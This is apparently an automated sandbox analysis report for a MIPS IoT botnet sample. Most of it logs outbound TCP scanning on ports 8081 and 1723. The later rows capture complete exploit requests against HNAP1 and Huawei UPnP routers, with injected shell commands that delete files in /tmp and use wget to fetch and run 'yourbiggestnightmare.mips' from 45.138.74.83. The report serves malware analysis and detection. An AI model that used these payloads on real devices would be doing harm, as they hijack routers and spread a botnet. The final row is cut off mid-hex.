| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 157.217.131.194:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 179.162.147.214:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 89.106.147.221:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 77.241.232.30:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 130.226.68.239:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 109.198.237.190:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 152.102.110.172:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 44.188.12.156:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 76.195.186.250:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 125.239.221.201:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 50.71.208.113:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 49.204.206.190:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 217.87.156.254:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 206.105.79.78:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 66.74.65.80:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 90.87.15.170:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 212.250.247.194:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 123.244.185.69:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 73.91.40.165:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 78.196.236.81:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 175.161.54.143:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 158.101.201.181:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 216.132.95.158:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 109.33.135.255:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 25.130.171.128:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 104.78.99.189:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 5.68.106.58:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 158.73.207.197:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 168.12.122.72:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 66.179.56.42:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 159.170.50.216:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 54.24.184.154:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 165.52.171.56:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 128.114.208.167:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 197.2.171.212:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 154.111.34.125:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 194.50.197.68:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 176.202.186.7:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 92.32.97.11:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 34.153.216.115:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16156 -> 220.234.0.52:8081 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.77.66.233:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.123.17.233:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.231.171.168:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.255.126.236:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.23.118.161:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.13.63.157:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.250.190.101:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.6.90.158:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.63.248.151:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.157.27.240:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.156.107.153:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.112.75.61:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.208.7.162:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.83.107.135:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.134.215.176:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.174.89.4:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.27.3.198:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.66.73.94:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.243.68.118:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.45.82.78:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.221.144.231:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.92.254.18:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.131.183.78:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.191.14.176:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.72.150.92:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.131.149.133:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.254.91.177:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.46.53.141:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.208.189.254:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.114.84.130:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.123.255.179:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.106.114.176:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.168.186.158:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.107.142.194:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.88.38.216:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.236.158.234:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.116.50.43:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.236.89.4:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.168.115.56:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.12.121.243:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.20.187.186:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.87.195.247:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.239.6.244:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.9.171.235:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.106.150.125:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.20.248.28:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.70.188.45:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.107.27.10:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.13.19.39:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.148.23.38:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.132.80.123:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.202.64.50:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.105.225.111:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.84.3.134:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.160.228.131:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.6.8.151:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.180.46.136:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.214.190.241:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.37.100.112:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.107.201.60:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.140.245.99:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.142.71.51:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.183.37.100:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.139.105.215:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.169.11.201:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.9.237.7:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.103.196.213:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.16.232.43:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.89.0.43:1723 |
| Source: global traffic | TCP traffic: 192.168.2.15:16153 -> 213.85.20.53:1723 |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 